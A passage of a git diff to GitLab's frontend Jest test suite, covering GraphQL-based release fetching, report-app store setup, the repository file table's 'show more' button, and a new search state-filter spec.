+ sha: '92e7ea2ee4496fe0d00ff69830ba0564d3d1e5a7',
+ webUrl:
+ 'http://0.0.0.0:3000/root/release-test/-/commit/92e7ea2ee4496fe0d00ff69830ba0564d3d1e5a7',
+ title: 'Testing a change.',
+ },
+ author: {
+ webUrl: 'http://0.0.0.0:3000/root',
+ avatarUrl: '/uploads/-/system/user/avatar/1/avatar.png',
+ username: 'root',
+ },
+ milestones: {
+ nodes: [
+ {
+ id: 'gid://gitlab/Milestone/60',
+ title: '12.4',
+ description: '',
+ webPath: '/root/release-test/-/milestones/2',
+ stats: {
+ totalIssuesCount: 0,
+ closedIssuesCount: 0,
+ },
+ },
+ {
+ id: 'gid://gitlab/Milestone/59',
+ title: '12.3',
+ description: 'Milestone 12.3',
+ webPath: '/root/release-test/-/milestones/1',
+ stats: {
+ totalIssuesCount: 2,
+ closedIssuesCount: 1,
+ },
+ },
+ ],
+ },
+ },
+ ],
+ },
+ },
+ },
+};
diff --git a/spec/frontend/releases/stores/modules/list/actions_spec.js b/spec/frontend/releases/stores/modules/list/actions_spec.js
index 4c3af157684..95e30659d6c 100644
--- a/spec/frontend/releases/stores/modules/list/actions_spec.js
+++ b/spec/frontend/releases/stores/modules/list/actions_spec.js
@@ -1,3 +1,4 @@
+import { cloneDeep } from 'lodash';
import testAction from 'helpers/vuex_action_helper';
import {
requestReleases,
@@ -5,21 +6,43 @@ import {
receiveReleasesSuccess,
receiveReleasesError,
} from '~/releases/stores/modules/list/actions';
-import state from '~/releases/stores/modules/list/state';
+import createState from '~/releases/stores/modules/list/state';
import * as types from '~/releases/stores/modules/list/mutation_types';
import api from '~/api';
+import { gqClient, convertGraphQLResponse } from '~/releases/util';
import { parseIntPagination, convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
-import { pageInfoHeadersWithoutPagination, releases as originalReleases } from '../../../mock_data';
+import {
+ pageInfoHeadersWithoutPagination,
+ releases as originalReleases,
+ graphqlReleasesResponse as originalGraphqlReleasesResponse,
+} from '../../../mock_data';
+import allReleasesQuery from '~/releases/queries/all_releases.query.graphql';
describe('Releases State actions', () => {
let mockedState;
let pageInfo;
let releases;
+ let graphqlReleasesResponse;
+
+ const projectPath = 'root/test-project';
+ const projectId = 19;
beforeEach(() => {
- mockedState = state();
+ mockedState = {
+ ...createState({
+ projectId,
+ projectPath,
+ }),
+ featureFlags: {
+ graphqlReleaseData: true,
+ graphqlReleasesPage: true,
+ graphqlMilestoneStats: true,
+ },
+ };
+
pageInfo = parseIntPagination(pageInfoHeadersWithoutPagination);
releases = convertObjectPropsToCamelCase(originalReleases, { deep: true });
+ graphqlReleasesResponse = cloneDeep(originalGraphqlReleasesResponse);
});
describe('requestReleases', () => {
@@ -31,15 +54,17 @@ describe('Releases State actions', () => {
describe('fetchReleases', () => {
describe('success', () => {
it('dispatches requestReleases and receiveReleasesSuccess', done => {
- jest.spyOn(api, 'releases').mockImplementation((id, options) => {
- expect(id).toEqual(1);
- expect(options.page).toEqual('1');
- return Promise.resolve({ data: releases, headers: pageInfoHeadersWithoutPagination });
+ jest.spyOn(gqClient, 'query').mockImplementation(({ query, variables }) => {
+ expect(query).toBe(allReleasesQuery);
+ expect(variables).toEqual({
+ fullPath: projectPath,
+ });
+ return Promise.resolve(graphqlReleasesResponse);
});
testAction(
fetchReleases,
- { projectId: 1 },
+ {},
mockedState,
[],
[
@@ -47,31 +72,7 @@ describe('Releases State actions', () => {
type: 'requestReleases',
},
{
- payload: { data: releases, headers: pageInfoHeadersWithoutPagination },
- type: 'receiveReleasesSuccess',
- },
- ],
- done,
- );
- });
-
- it('dispatches requestReleases and receiveReleasesSuccess on page two', done => {
- jest.spyOn(api, 'releases').mockImplementation((_, options) => {
- expect(options.page).toEqual('2');
- return Promise.resolve({ data: releases, headers: pageInfoHeadersWithoutPagination });
- });
-
- testAction(
- fetchReleases,
- { page: '2', projectId: 1 },
- mockedState,
- [],
- [
- {
- type: 'requestReleases',
- },
- {
- payload: { data: releases, headers: pageInfoHeadersWithoutPagination },
+ payload: convertGraphQLResponse(graphqlReleasesResponse),
type: 'receiveReleasesSuccess',
},
],
@@ -82,11 +83,11 @@ describe('Releases State actions', () => {
describe('error', () => {
it('dispatches requestReleases and receiveReleasesError', done => {
- jest.spyOn(api, 'releases').mockReturnValue(Promise.reject());
+ jest.spyOn(gqClient, 'query').mockRejectedValue();
testAction(
fetchReleases,
- { projectId: null },
+ {},
mockedState,
[],
[
@@ -101,6 +102,85 @@ describe('Releases State actions', () => {
);
});
});
+
+ describe('when the graphqlReleaseData feature flag is disabled', () => {
+ beforeEach(() => {
+ mockedState.featureFlags.graphqlReleasesPage = false;
+ });
+
+ describe('success', () => {
+ it('dispatches requestReleases and receiveReleasesSuccess', done => {
+ jest.spyOn(api, 'releases').mockImplementation((id, options) => {
+ expect(id).toBe(projectId);
+ expect(options.page).toBe('1');
+ return Promise.resolve({ data: releases, headers: pageInfoHeadersWithoutPagination });
+ });
+
+ testAction(
+ fetchReleases,
+ {},
+ mockedState,
+ [],
+ [
+ {
+ type: 'requestReleases',
+ },
+ {
+ payload: { data: releases, headers: pageInfoHeadersWithoutPagination },
+ type: 'receiveReleasesSuccess',
+ },
+ ],
+ done,
+ );
+ });
+
+ it('dispatches requestReleases and receiveReleasesSuccess on page two', done => {
+ jest.spyOn(api, 'releases').mockImplementation((_, options) => {
+ expect(options.page).toBe('2');
+ return Promise.resolve({ data: releases, headers: pageInfoHeadersWithoutPagination });
+ });
+
+ testAction(
+ fetchReleases,
+ { page: '2' },
+ mockedState,
+ [],
+ [
+ {
+ type: 'requestReleases',
+ },
+ {
+ payload: { data: releases, headers: pageInfoHeadersWithoutPagination },
+ type: 'receiveReleasesSuccess',
+ },
+ ],
+ done,
+ );
+ });
+ });
+
+ describe('error', () => {
+ it('dispatches requestReleases and receiveReleasesError', done => {
+ jest.spyOn(api, 'releases').mockReturnValue(Promise.reject());
+
+ testAction(
+ fetchReleases,
+ {},
+ mockedState,
+ [],
+ [
+ {
+ type: 'requestReleases',
+ },
+ {
+ type: 'receiveReleasesError',
+ },
+ ],
+ done,
+ );
+ });
+ });
+ });
});
describe('receiveReleasesSuccess', () => {
diff --git a/spec/frontend/releases/stores/modules/list/helpers.js b/spec/frontend/releases/stores/modules/list/helpers.js
index 435ca36047e..3ca255eaf8c 100644
--- a/spec/frontend/releases/stores/modules/list/helpers.js
+++ b/spec/frontend/releases/stores/modules/list/helpers.js
@@ -1,6 +1,5 @@
import state from '~/releases/stores/modules/list/state';
-// eslint-disable-next-line import/prefer-default-export
export const resetStore = store => {
store.replaceState(state());
};
diff --git a/spec/frontend/releases/stores/modules/list/mutations_spec.js b/spec/frontend/releases/stores/modules/list/mutations_spec.js
index 3035b916ff6..27ad05846e7 100644
--- a/spec/frontend/releases/stores/modules/list/mutations_spec.js
+++ b/spec/frontend/releases/stores/modules/list/mutations_spec.js
@@ -1,4 +1,4 @@
-import state from '~/releases/stores/modules/list/state';
+import createState from '~/releases/stores/modules/list/state';
import mutations from '~/releases/stores/modules/list/mutations';
import * as types from '~/releases/stores/modules/list/mutation_types';
import { parseIntPagination } from '~/lib/utils/common_utils';
@@ -9,7 +9,7 @@ describe('Releases Store Mutations', () => {
let pageInfo;
beforeEach(() => {
- stateCopy = state();
+ stateCopy = createState({});
pageInfo = parseIntPagination(pageInfoHeadersWithoutPagination);
});
diff --git a/spec/frontend/releases/util_spec.js b/spec/frontend/releases/util_spec.js
index 90aa9c4c7d8..f40e5729188 100644
--- a/spec/frontend/releases/util_spec.js
+++ b/spec/frontend/releases/util_spec.js
@@ -1,4 +1,6 @@
-import { releaseToApiJson, apiJsonToRelease } from '~/releases/util';
+import { cloneDeep } from 'lodash';
+import { releaseToApiJson, apiJsonToRelease, convertGraphQLResponse } from '~/releases/util';
+import { graphqlReleasesResponse as originalGraphqlReleasesResponse } from './mock_data';
describe('releases/util.js', () => {
describe('releaseToApiJson', () => {
@@ -100,4 +102,55 @@ describe('releases/util.js', () => {
expect(apiJsonToRelease(json)).toEqual(expectedRelease);
});
});
+
+ describe('convertGraphQLResponse', () => {
+ let graphqlReleasesResponse;
+ let converted;
+
+ beforeEach(() => {
+ graphqlReleasesResponse = cloneDeep(originalGraphqlReleasesResponse);
+ converted = convertGraphQLResponse(graphqlReleasesResponse);
+ });
+
+ it('matches snapshot', () => {
+ expect(converted).toMatchSnapshot();
+ });
+
+ describe('assets', () => {
+ it("handles asset links that don't have a linkType", () => {
+ expect(converted.data[0].assets.links[0].linkType).not.toBeUndefined();
+
+ delete graphqlReleasesResponse.data.project.releases.nodes[0].assets.links.nodes[0]
+ .linkType;
+
+ converted = convertGraphQLResponse(graphqlReleasesResponse);
+
+ expect(converted.data[0].assets.links[0].linkType).toBeUndefined();
+ });
+ });
+
+ describe('_links', () => {
+ it("handles releases that don't have any links", () => {
+ expect(converted.data[0]._links.selfUrl).not.toBeUndefined();
+
+ delete graphqlReleasesResponse.data.project.releases.nodes[0].links;
+
+ converted = convertGraphQLResponse(graphqlReleasesResponse);
+
+ expect(converted.data[0]._links.selfUrl).toBeUndefined();
+ });
+ });
+
+ describe('commit', () => {
+ it("handles releases that don't have any commit info", () => {
+ expect(converted.data[0].commit).not.toBeUndefined();
+
+ delete graphqlReleasesResponse.data.project.releases.nodes[0].commit;
+
+ converted = convertGraphQLResponse(graphqlReleasesResponse);
+
+ expect(converted.data[0].commit).toBeUndefined();
+ });
+ });
+ });
});
diff --git a/spec/frontend/reports/accessibility_report/grouped_accessibility_reports_app_spec.js b/spec/frontend/reports/accessibility_report/grouped_accessibility_reports_app_spec.js
index a036588596a..ccceb78f2d1 100644
--- a/spec/frontend/reports/accessibility_report/grouped_accessibility_reports_app_spec.js
+++ b/spec/frontend/reports/accessibility_report/grouped_accessibility_reports_app_spec.js
@@ -2,7 +2,7 @@ import { mount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
import GroupedAccessibilityReportsApp from '~/reports/accessibility_report/grouped_accessibility_reports_app.vue';
import AccessibilityIssueBody from '~/reports/accessibility_report/components/accessibility_issue_body.vue';
-import store from '~/reports/accessibility_report/store';
+import { getStoreConfig } from '~/reports/accessibility_report/store';
import { mockReport } from './mock_data';
const localVue = createLocalVue();
@@ -20,16 +20,17 @@ describe('Grouped accessibility reports app', () => {
propsData: {
endpoint: 'endpoint.json',
},
- methods: {
- fetchReport: () => {},
- },
});
};
const findHeader = () => wrapper.find('[data-testid="report-section-code-text"]');
beforeEach(() => {
- mockStore = store();
+ mockStore = new Vuex.Store({
+ ...getStoreConfig(),
+ actions: { fetchReport: () => {}, setEndpoint: () => {} },
+ });
+
mountComponent();
});
diff --git a/spec/frontend/reports/accessibility_report/mock_data.js b/spec/frontend/reports/accessibility_report/mock_data.js
index 20ad01bd802..9dace1e7c54 100644
--- a/spec/frontend/reports/accessibility_report/mock_data.js
+++ b/spec/frontend/reports/accessibility_report/mock_data.js
@@ -1,4 +1,3 @@
-// eslint-disable-next-line import/prefer-default-export
export const mockReport = {
status: 'failed',
summary: {
diff --git a/spec/frontend/reports/codequality_report/grouped_codequality_reports_app_spec.js b/spec/frontend/reports/codequality_report/grouped_codequality_reports_app_spec.js
index 1905ca0d5e1..77d7c6f8678 100644
--- a/spec/frontend/reports/codequality_report/grouped_codequality_reports_app_spec.js
+++ b/spec/frontend/reports/codequality_report/grouped_codequality_reports_app_spec.js
@@ -2,7 +2,7 @@ import { mount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
import GroupedCodequalityReportsApp from '~/reports/codequality_report/grouped_codequality_reports_app.vue';
import CodequalityIssueBody from '~/reports/codequality_report/components/codequality_issue_body.vue';
-import store from '~/reports/codequality_report/store';
+import { getStoreConfig } from '~/reports/codequality_report/store';
import { mockParsedHeadIssues, mockParsedBaseIssues } from './mock_data';
const localVue = createLocalVue();
@@ -13,21 +13,22 @@ describe('Grouped code quality reports app', () => {
let wrapper;
let mockStore;
+ const PATHS = {
+ codequalityHelpPath: 'codequality_help.html',
+ basePath: 'base.json',
+ headPath: 'head.json',
+ baseBlobPath: 'base/blob/path/',
+ headBlobPath: 'head/blob/path/',
+ };
+
const mountComponent = (props = {}) => {
wrapper = mount(Component, {
store: mockStore,
localVue,
propsData: {
- basePath: 'base.json',
- headPath: 'head.json',
- baseBlobPath: 'base/blob/path/',
- headBlobPath: 'head/blob/path/',
- codequalityHelpPath: 'codequality_help.html',
+ ...PATHS,
...props,
},
- methods: {
- fetchReports: () => {},
- },
});
};
@@ -35,7 +36,19 @@ describe('Grouped code quality reports app', () => {
const findIssueBody = () => wrapper.find(CodequalityIssueBody);
beforeEach(() => {
- mockStore = store();
+ const { state, ...storeConfig } = getStoreConfig();
+ mockStore = new Vuex.Store({
+ ...storeConfig,
+ actions: {
+ setPaths: () => {},
+ fetchReports: () => {},
+ },
+ state: {
+ ...state,
+ ...PATHS,
+ },
+ });
+
mountComponent();
});
@@ -126,7 +139,11 @@ describe('Grouped code quality reports app', () => {
});
it('renders a help icon with more information', () => {
- expect(findWidget().html()).toContain('ic-question');
+ expect(
+ findWidget()
+ .find('[data-testid="question-icon"]')
+ .exists(),
+ ).toBe(true);
});
});
@@ -140,7 +157,11 @@ describe('Grouped code quality reports app', () => {
});
it('does not render a help icon', () => {
- expect(findWidget().html()).not.toContain('ic-question');
+ expect(
+ findWidget()
+ .find('[data-testid="question-icon"]')
+ .exists(),
+ ).toBe(false);
});
});
});
diff --git a/spec/frontend/reports/components/__snapshots__/issue_status_icon_spec.js.snap b/spec/frontend/reports/components/__snapshots__/issue_status_icon_spec.js.snap
index 70e1ff01323..b5a4cb42463 100644
--- a/spec/frontend/reports/components/__snapshots__/issue_status_icon_spec.js.snap
+++ b/spec/frontend/reports/components/__snapshots__/issue_status_icon_spec.js.snap
@@ -4,7 +4,7 @@ exports[`IssueStatusIcon renders "failed" state correctly 1`] = `
<div
class="report-block-list-icon failed"
>
- <icon-stub
+ <gl-icon-stub
data-qa-selector="status_failed_icon"
name="status_failed_borderless"
size="24"
@@ -16,7 +16,7 @@ exports[`IssueStatusIcon renders "neutral" state correctly 1`] = `
<div
class="report-block-list-icon neutral"
>
- <icon-stub
+ <gl-icon-stub
data-qa-selector="status_neutral_icon"
name="dash"
size="24"
@@ -28,7 +28,7 @@ exports[`IssueStatusIcon renders "success" state correctly 1`] = `
<div
class="report-block-list-icon success"
>
- <icon-stub
+ <gl-icon-stub
data-qa-selector="status_success_icon"
name="status_success_borderless"
size="24"
diff --git a/spec/frontend/reports/components/grouped_issues_list_spec.js b/spec/frontend/reports/components/grouped_issues_list_spec.js
index 1f8f4a0e4c1..1172e514707 100644
--- a/spec/frontend/reports/components/grouped_issues_list_spec.js
+++ b/spec/frontend/reports/components/grouped_issues_list_spec.js
@@ -42,7 +42,7 @@ describe('Grouped Issues List', () => {
});
it.each('resolved', 'unresolved')('does not render report items for %s issues', () => {
- expect(wrapper.contains(ReportItem)).toBe(false);
+ expect(wrapper.find(ReportItem).exists()).toBe(false);
});
});
diff --git a/spec/frontend/reports/components/grouped_test_reports_app_spec.js b/spec/frontend/reports/components/grouped_test_reports_app_spec.js
index c26e2fbc19a..556904b7da5 100644
--- a/spec/frontend/reports/components/grouped_test_reports_app_spec.js
+++ b/spec/frontend/reports/components/grouped_test_reports_app_spec.js
@@ -1,7 +1,7 @@
import { mount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
import GroupedTestReportsApp from '~/reports/components/grouped_test_reports_app.vue';
-import store from '~/reports/store';
+import { getStoreConfig } from '~/reports/store';
import { failedReport } from '../mock_data/mock_data';
import successTestReports from '../mock_data/no_failures_report.json';
@@ -29,9 +29,6 @@ describe('Grouped test reports app', () => {
pipelinePath,
...props,
},
- methods: {
- fetchReports: () => {},
- },
});
};
@@ -49,7 +46,13 @@ describe('Grouped test reports app', () => {
wrapper.findAll('[data-testid="test-issue-body-description"]');
beforeEach(() => {
- mockStore = store();
+ mockStore = new Vuex.Store({
+ ...getStoreConfig(),
+ actions: {
+ fetchReports: () => {},
+ setEndpoint: () => {},
+ },
+ });
mountComponent();
});
diff --git a/spec/frontend/repository/components/table/index_spec.js b/spec/frontend/repository/components/table/index_spec.js
index 10669330b61..1b8bbd5af6b 100644
--- a/spec/frontend/repository/components/table/index_spec.js
+++ b/spec/frontend/repository/components/table/index_spec.js
@@ -1,5 +1,5 @@
import { shallowMount } from '@vue/test-utils';
-import { GlSkeletonLoading } from '@gitlab/ui';
+import { GlDeprecatedSkeletonLoading as GlSkeletonLoading, GlButton } from '@gitlab/ui';
import Table from '~/repository/components/table/index.vue';
import TableRow from '~/repository/components/table/row.vue';
@@ -34,12 +34,13 @@ const MOCK_BLOBS = [
},
];
-function factory({ path, isLoading = false, entries = {} }) {
+function factory({ path, isLoading = false, hasMore = true, entries = {} }) {
vm = shallowMount(Table, {
propsData: {
path,
isLoading,
entries,
+ hasMore,
},
mocks: {
$apollo,
@@ -88,4 +89,27 @@ describe('Repository table component', () => {
expect(rows.length).toEqual(3);
expect(rows.at(2).attributes().mode).toEqual('120000');
});
+
+ describe('Show more button', () => {
+ const showMoreButton = () => vm.find(GlButton);
+
+ it.each`
+ hasMore | expectButtonToExist
+ ${true} | ${true}
+ ${false} | ${false}
+ `('renders correctly', ({ hasMore, expectButtonToExist }) => {
+ factory({ path: '/', hasMore });
+ expect(showMoreButton().exists()).toBe(expectButtonToExist);
+ });
+
+ it('when is clicked, emits showMore event', async () => {
+ factory({ path: '/' });
+
+ showMoreButton().vm.$emit('click');
+
+ await vm.vm.$nextTick();
+
+ expect(vm.emitted('showMore')).toHaveLength(1);
+ });
+ });
});
diff --git a/spec/frontend/repository/components/tree_content_spec.js b/spec/frontend/repository/components/tree_content_spec.js
index ea85cd34743..70dbfaea551 100644
--- a/spec/frontend/repository/components/tree_content_spec.js
+++ b/spec/frontend/repository/components/tree_content_spec.js
@@ -1,7 +1,7 @@
import { shallowMount } from '@vue/test-utils';
-import { GlButton } from '@gitlab/ui';
import TreeContent, { INITIAL_FETCH_COUNT } from '~/repository/components/tree_content.vue';
import FilePreview from '~/repository/components/preview/index.vue';
+import FileTable from '~/repository/components/table/index.vue';
let vm;
let $apollo;
@@ -82,41 +82,36 @@ describe('Repository table component', () => {
});
});
- describe('Show more button', () => {
- const showMoreButton = () => vm.find(GlButton);
-
+ describe('FileTable showMore', () => {
describe('when is present', () => {
+ const fileTable = () => vm.find(FileTable);
+
beforeEach(async () => {
factory('/');
-
- vm.setData({ fetchCounter: 10, clickedShowMore: false });
-
- await vm.vm.$nextTick();
});
- it('is not rendered once it is clicked', async () => {
- showMoreButton().vm.$emit('click');
+ it('is changes hasShowMore to false when "showMore" event is emitted', async () => {
+ fileTable().vm.$emit('showMore');
+
await vm.vm.$nextTick();
- expect(showMoreButton().exists()).toBe(false);
+ expect(vm.vm.hasShowMore).toBe(false);
});
- it('is rendered', async () => {
- expect(showMoreButton().exists()).toBe(true);
- });
+ it('changes clickedShowMore when "showMore" event is emitted', async () => {
+ fileTable().vm.$emit('showMore');
- it('changes clickedShowMore when show more button is clicked', async () => {
- showMoreButton().vm.$emit('click');
+ await vm.vm.$nextTick();
expect(vm.vm.clickedShowMore).toBe(true);
});
- it('triggers fetchFiles when show more button is clicked', async () => {
+ it('triggers fetchFiles when "showMore" event is emitted', () => {
jest.spyOn(vm.vm, 'fetchFiles');
- showMoreButton().vm.$emit('click');
+ fileTable().vm.$emit('showMore');
- expect(vm.vm.fetchFiles).toBeCalled();
+ expect(vm.vm.fetchFiles).toHaveBeenCalled();
});
});
@@ -127,7 +122,7 @@ describe('Repository table component', () => {
await vm.vm.$nextTick();
- expect(showMoreButton().exists()).toBe(false);
+ expect(vm.vm.hasShowMore).toBe(false);
});
it('has limit of 1000 files on initial load', () => {
diff --git a/spec/frontend/repository/components/web_ide_link_spec.js b/spec/frontend/repository/components/web_ide_link_spec.js
deleted file mode 100644
index 877756db364..00000000000
--- a/spec/frontend/repository/components/web_ide_link_spec.js
+++ /dev/null
@@ -1,51 +0,0 @@
-import { mount } from '@vue/test-utils';
-import WebIdeLink from '~/repository/components/web_ide_link.vue';
-
-describe('Web IDE link component', () => {
- let wrapper;
-
- function createComponent(props) {
- wrapper = mount(WebIdeLink, {
- propsData: { ...props },
- mocks: {
- $route: {
- params: {},
- },
- },
- });
- }
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('renders link to the Web IDE for a project if only projectPath is given', () => {
- createComponent({ projectPath: 'gitlab-org/gitlab', refSha: 'master' });
-
- expect(wrapper.attributes('href')).toBe('/-/ide/project/gitlab-org/gitlab/edit/master/-/');
- expect(wrapper.text()).toBe('Web IDE');
- });
-
- it('renders link to the Web IDE for a project even if both projectPath and forkPath are given', () => {
- createComponent({
- projectPath: 'gitlab-org/gitlab',
- refSha: 'master',
- forkPath: 'my-namespace/gitlab',
- });
-
- expect(wrapper.attributes('href')).toBe('/-/ide/project/gitlab-org/gitlab/edit/master/-/');
- expect(wrapper.text()).toBe('Web IDE');
- });
-
- it('renders link to the forked project if it exists and cannot write to the repo', () => {
- createComponent({
- projectPath: 'gitlab-org/gitlab',
- refSha: 'master',
- forkPath: 'my-namespace/gitlab',
- canPushCode: false,
- });
-
- expect(wrapper.attributes('href')).toBe('/-/ide/project/my-namespace/gitlab/edit/master/-/');
- expect(wrapper.text()).toBe('Edit fork in Web IDE');
- });
-});
diff --git a/spec/frontend/repository/log_tree_spec.js b/spec/frontend/repository/log_tree_spec.js
index 5637d0be957..954424b5c8a 100644
--- a/spec/frontend/repository/log_tree_spec.js
+++ b/spec/frontend/repository/log_tree_spec.js
@@ -100,24 +100,27 @@ describe('fetchLogsTree', () => {
);
}));
- it('writes query to client', () =>
- fetchLogsTree(client, '', '0', resolver).then(() => {
- expect(client.writeQuery).toHaveBeenCalledWith({
- query: expect.anything(),
- data: {
- commits: [
- expect.objectContaining({
- __typename: 'LogTreeCommit',
- commitPath: 'https://test.com',
- committedDate: '2019-01-01',
- fileName: 'index.js',
- filePath: '/index.js',
- message: 'testing message',
- sha: '123',
- type: 'blob',
- }),
- ],
- },
- });
- }));
+ it('writes query to client', async () => {
+ await fetchLogsTree(client, '', '0', resolver);
+ expect(client.writeQuery).toHaveBeenCalledWith({
+ query: expect.anything(),
+ data: {
+ projectPath: 'gitlab-org/gitlab-foss',
+ escapedRef: 'master',
+ commits: [
+ expect.objectContaining({
+ __typename: 'LogTreeCommit',
+ commitPath: 'https://test.com',
+ committedDate: '2019-01-01',
+ fileName: 'index.js',
+ filePath: '/index.js',
+ message: 'testing message',
+ sha: '123',
+ titleHtml: undefined,
+ type: 'blob',
+ }),
+ ],
+ },
+ });
+ });
});
diff --git a/spec/frontend/repository/router_spec.js b/spec/frontend/repository/router_spec.js
index f2f3dda41d9..3c7dda05ca3 100644
--- a/spec/frontend/repository/router_spec.js
+++ b/spec/frontend/repository/router_spec.js
@@ -4,12 +4,13 @@ import createRouter from '~/repository/router';
describe('Repository router spec', () => {
it.each`
- path | branch | component | componentName
- ${'/'} | ${'master'} | ${IndexPage} | ${'IndexPage'}
- ${'/tree/master'} | ${'master'} | ${TreePage} | ${'TreePage'}
- ${'/-/tree/master'} | ${'master'} | ${TreePage} | ${'TreePage'}
- ${'/-/tree/master/app/assets'} | ${'master'} | ${TreePage} | ${'TreePage'}
- ${'/-/tree/123/app/assets'} | ${'master'} | ${null} | ${'null'}
+ path | branch | component | componentName
+ ${'/'} | ${'master'} | ${IndexPage} | ${'IndexPage'}
+ ${'/tree/master'} | ${'master'} | ${TreePage} | ${'TreePage'}
+ ${'/tree/feat(test)'} | ${'feat(test)'} | ${TreePage} | ${'TreePage'}
+ ${'/-/tree/master'} | ${'master'} | ${TreePage} | ${'TreePage'}
+ ${'/-/tree/master/app/assets'} | ${'master'} | ${TreePage} | ${'TreePage'}
+ ${'/-/tree/123/app/assets'} | ${'master'} | ${null} | ${'null'}
`('sets component as $componentName for path "$path"', ({ path, component, branch }) => {
const router = createRouter('', branch);
diff --git a/spec/frontend/search/components/state_filter_spec.js b/spec/frontend/search/components/state_filter_spec.js
new file mode 100644
index 00000000000..26344f2b592
--- /dev/null
+++ b/spec/frontend/search/components/state_filter_spec.js
@@ -0,0 +1,104 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
+import StateFilter from '~/search/state_filter/components/state_filter.vue';
+import {
+ FILTER_STATES,
+ SCOPES,
+ FILTER_STATES_BY_SCOPE,
+ FILTER_TEXT,
+} from '~/search/state_filter/constants';
+import * as urlUtils from '~/lib/utils/url_utility';
+
+jest.mock('~/lib/utils/url_utility', () => ({
+ visitUrl: jest.fn(),
+ setUrlParams: jest.fn(),
+}));
+
+function createComponent(props = { scope: 'issues' }) {
+ return shallowMount(StateFilter, {
+ propsData: {
+ ...props,
+ },
+ });
+}
+
+describe('StateFilter', () => {
+ let wrapper;
+
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ const findGlDropdown = () => wrapper.find(GlDropdown);
+ const findGlDropdownItems = () => findGlDropdown().findAll(GlDropdownItem);
+ const findDropdownItemsText = () => findGlDropdownItems().wrappers.map(w => w.text());
+ const firstDropDownItem = () => findGlDropdownItems().at(0);
+
+ describe('template', () => {
+ describe.each`
+ scope | showStateDropdown
+ ${'issues'} | ${true}
+ ${'merge_requests'} | ${true}
+ ${'projects'} | ${false}
+ ${'milestones'} | ${false}
+ ${'users'} | ${false}
+ ${'notes'} | ${false}
+ ${'wiki_blobs'} | ${false}
+ ${'blobs'} | ${false}
+ `(`state dropdown`, ({ scope, showStateDropdown }) => {
+ beforeEach(() => {
+ wrapper = createComponent({ scope });
+ });
+
+ it(`does${showStateDropdown ? '' : ' not'} render when scope is ${scope}`, () => {
+ expect(findGlDropdown().exists()).toBe(showStateDropdown);
+ });
+ });
+
+ describe.each`
+ state | label
+ ${FILTER_STATES.ANY.value} | ${FILTER_TEXT}
+ ${FILTER_STATES.OPEN.value} | ${FILTER_STATES.OPEN.label}
+ ${FILTER_STATES.CLOSED.value} | ${FILTER_STATES.CLOSED.label}
+ ${FILTER_STATES.MERGED.value} | ${FILTER_STATES.MERGED.label}
+ `(`filter text`, ({ state, label }) => {
+ describe(`when state is ${state}`, () => {
+ beforeEach(() => {
+ wrapper = createComponent({ scope: 'issues', state });
+ });
+
+ it(`sets dropdown label to ${label}`, () => {
+ expect(findGlDropdown().attributes('text')).toBe(label);
+ });
+ });
+ });
+
+ describe('Filter options', () => {
+ it('renders a dropdown item for each filterOption', () => {
+ expect(findDropdownItemsText()).toStrictEqual(
+ FILTER_STATES_BY_SCOPE[SCOPES.ISSUES].map(v => {
+ return v.label;
+ }),
+ );
+ });
+
+ it('clicking a dropdown item calls setUrlParams', () => {
+ const state = FILTER_STATES[Object.keys(FILTER_STATES)[0]].value;
+ firstDropDownItem().vm.$emit('click');
+
+ expect(urlUtils.setUrlParams).toHaveBeenCalledWith({ state });
+ });
+
+ it('clicking a dropdown item calls visitUrl', () => {
+ firstDropDownItem().vm.$emit('click');
+
+ expect(urlUtils.visitUrl).toHaveBeenCalled();
+ });
+ });
+ });
+});
diff --git a/spec/frontend/search_autocomplete_spec.js b/spec/frontend/search_autocomplete_spec.js
index ee46dc015af..3240664f5aa 100644
--- a/spec/frontend/search_autocomplete_spec.js
+++ b/spec/frontend/search_autocomplete_spec.js
@@ -1,7 +1,6 @@
/* eslint-disable no-unused-expressions, consistent-return, no-param-reassign, default-case, no-return-assign */
import $ from 'jquery';
-import '~/gl_dropdown';
import AxiosMockAdapter from 'axios-mock-adapter';
import { mockTracking, unmockTracking } from 'helpers/tracking_helper';
import initSearchAutocomplete from '~/search_autocomplete';
@@ -215,7 +214,7 @@ describe('Search autocomplete dropdown', () => {
function triggerAutocomplete() {
return new Promise(resolve => {
- const dropdown = widget.searchInput.data('glDropdown');
+ const dropdown = widget.searchInput.data('deprecatedJQueryDropdown');
const filterCallback = dropdown.filter.options.callback;
dropdown.filter.options.callback = jest.fn(data => {
filterCallback(data);
diff --git a/spec/frontend/serverless/utils.js b/spec/frontend/serverless/utils.js
index ba451b7d573..4af3eda1ffb 100644
--- a/spec/frontend/serverless/utils.js
+++ b/spec/frontend/serverless/utils.js
@@ -1,4 +1,3 @@
-// eslint-disable-next-line import/prefer-default-export
export const adjustMetricQuery = data => {
const updatedMetric = data.metrics;
diff --git a/spec/frontend/shortcuts_spec.js b/spec/frontend/shortcuts_spec.js
index 3d16074154c..538b3afa50f 100644
--- a/spec/frontend/shortcuts_spec.js
+++ b/spec/frontend/shortcuts_spec.js
@@ -1,6 +1,18 @@
import $ from 'jquery';
+import { flatten } from 'lodash';
import Shortcuts from '~/behaviors/shortcuts/shortcuts';
+const mockMousetrap = {
+ bind: jest.fn(),
+ unbind: jest.fn(),
+};
+
+jest.mock('mousetrap', () => {
+ return jest.fn().mockImplementation(() => mockMousetrap);
+});
+
+jest.mock('mousetrap/plugins/pause/mousetrap-pause', () => {});
+
describe('Shortcuts', () => {
const fixtureName = 'snippets/show.html';
const createEvent = (type, target) =>
@@ -10,16 +22,16 @@ describe('Shortcuts', () => {
preloadFixtures(fixtureName);
- describe('toggleMarkdownPreview', () => {
- beforeEach(() => {
- loadFixtures(fixtureName);
+ beforeEach(() => {
+ loadFixtures(fixtureName);
- jest.spyOn(document.querySelector('.js-new-note-form .js-md-preview-button'), 'focus');
- jest.spyOn(document.querySelector('.edit-note .js-md-preview-button'), 'focus');
+ jest.spyOn(document.querySelector('.js-new-note-form .js-md-preview-button'), 'focus');
+ jest.spyOn(document.querySelector('.edit-note .js-md-preview-button'), 'focus');
